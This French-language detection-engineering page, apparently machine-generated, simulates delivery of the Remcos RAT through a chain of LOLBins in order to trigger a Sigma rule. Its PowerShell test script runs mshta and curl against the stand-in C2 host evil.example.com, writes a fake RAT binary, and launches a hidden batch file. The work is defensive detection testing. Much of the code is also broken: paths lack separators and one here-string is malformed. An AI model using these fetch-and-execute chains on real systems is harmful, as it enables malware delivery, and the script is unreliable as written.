Peut-on Surutiliser les LOLBins pour Délivrer des Charges Utilisant des RAT ?

Exécution de simulation

Condition préalable : Le contrôle de pré-vol pour la télémétrie et la base doit avoir réussi.

Motif : Cette section détaille l’exécution précise de la technique des adversaires (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.

• Narratif d’attaque et commandes :
  L’opérateur de l’équipe rouge vise à déployer le Remcos RAT en utilisant une chaîne de LOLBins pour éviter de télécharger un exécutable directement.

  1. Découverte et mise en scène : Use forfiles.exe pour localiser un répertoire cible et lancer mshta avec une URL malveillante qui héberge une charge utile HTA.
  2. Téléchargement PowerShell sans fichier : Invoquer powershell.exe avec -NoProfile -Command curl pour tirer un script de deuxième étape d’un serveur C2.
  3. Exécution VBScript : Déployer un processor.vbs via crafted WScript.exe pour écrire le binaire RAT dans %ProgramData%.
  4. Déposeur en batch : Exécuter un fichier batch caché (patcher.bat) via cmd.exe invoqué via IWshShell3.Run pour finaliser la persistance.

  Chaque étape génère un événement de création de processus distinct correspondant à une des sélections Sigma, garantissant que la règle se déclenche.

• Script de test de régression :
  Le script ci-dessous reproduit les quatre sélections dans un laboratoire contrôlé. Il journalise chaque commande dans un fichier temporaire pour vérification ultérieure.

  #-------------------------------------------------
  # Simulation d'abus de LOLBin - déclenche la règle Sigma
  #-------------------------------------------------
  $log = "$env:TEMPlolbin_simulation.log"
  Clear-Content -Path $log -ErrorAction SilentlyContinue
  
  # 1. forfiles.exe -> mshta
  $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
  Write-Output "[+] Exécution : $cmd1" | Tee-Object -FilePath $log
  Invoke-Expression $cmd1
  
  # 2. powershell.exe -> téléchargement curl
  $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
  Write-Output "[+] Exécution : $cmd2" | Tee-Object -FilePath $log
  Invoke-Expression $cmd2
  
  # 3. wscript.exe -> processor.vbs
  $vbsPath = "$env:ProgramDataprocessor.vbs"
  @"
  Set fso = CreateObject("Scripting.FileSystemObject")
  fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malveillant"
  "@ | Set-Content -Path $vbsPath -Encoding ASCII
  $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
  Write-Output "[+] Exécution : $cmd3" | Tee-Object -FilePath $log
  Invoke-Expression $cmd3
  
  # 4. IWshShell3.Run -> cmd /c patcher.bat
  $batPath = "$env:ProgramDatapatcher.bat"
  "@
  echo @echo off > %TEMP%nothing.txt
  "@ | Set-Content -Path $batPath -Encoding ASCII
  $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
  Write-Output "[+] Exécution : $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
  Invoke-Expression $cmd4
  
  Write-Output "[+] Simulation terminée." | Tee-Object -FilePath $log

• Commandes de nettoyage :
  Supprimer les artefacts pour restaurer l’hôte à un état propre.

  # Nettoyer les artefacts de simulation LOLBin
  Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
   Write-Output "[+] Nettoyage terminé."

  ---